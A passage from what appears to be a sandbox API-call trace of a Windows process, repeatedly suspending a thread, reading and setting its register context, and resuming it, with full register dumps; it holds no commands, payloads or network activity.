DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0107.743] SuspendThread (hThread=0xd8) returned 0x0 [0107.743] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039a28, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f775920, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0107.744] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039a20, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0107.745] ResumeThread (hThread=0xd8) returned 0x1 [0107.745] CloseHandle (hObject=0xd8) returned 1 [0107.745] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.746] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.853] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.957] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.072] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0108.073] SuspendThread (hThread=0xd8) returned 0x0 [0108.073] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039990, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f772ff8, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0108.074] SetThreadContext (hThread=0xd8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0108.074] ResumeThread (hThread=0xd8) returned 0x1 [0108.074] CloseHandle (hObject=0xd8) returned 1 [0108.074] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.076] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.185] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0108.307] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0108.308] SuspendThread (hThread=0xd8) returned 0x0 [0108.308] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000395d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f786ff8, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, 